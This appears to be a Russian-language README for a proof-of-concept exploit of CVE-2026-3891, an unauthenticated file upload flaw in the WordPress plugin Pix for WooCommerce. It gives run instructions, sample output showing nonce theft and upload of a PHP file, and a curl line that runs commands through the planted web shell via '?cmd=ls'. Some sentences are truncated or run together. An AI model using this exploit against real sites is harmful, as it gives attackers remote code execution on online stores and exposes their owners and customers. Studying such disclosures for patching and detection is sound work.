
PoC для CVE-2026-3891 — Неаутентифицированная произвольная загрузка файлов, приводящая к удаленному выполнению кода в Pix for WooCommerce <= 1.5.0
CVE-2026-3891 — это критическая уязвимость Неаутентифицированная произвольная загрузка файлов, обнаруженная в плагине Pix for WooCommerce для WordPress версий до 1.5.0 включительно.
Уязвимость существует в функциональности lkn_pix_for_woocommerce_c6_save_settings из-за отсутствия контроля авторизации и недостаточной проверки типа файлов. Эксплойт автоматизирует процесс получения действительного nonce и демонстрирует неограниченную загрузку PHP-файла в доступный через веб каталог.
Используя эту уязвимость, неаутентифицированный злоумышленник может:
pip install requests
CVE-2026-3891.py в вашей системе.python CVE-2026-3891.py
Введите целевой URL WordPress при запросе:
[?] Enter target URL: http://localhost/wordpress
Пример:
[*] Requesting nonce...
[+] Nonce obtained: **********
[*] Uploading woocommerce.php...
[+] File uploaded successfully!
[+] URL: http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
curl http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php?cmd=ls
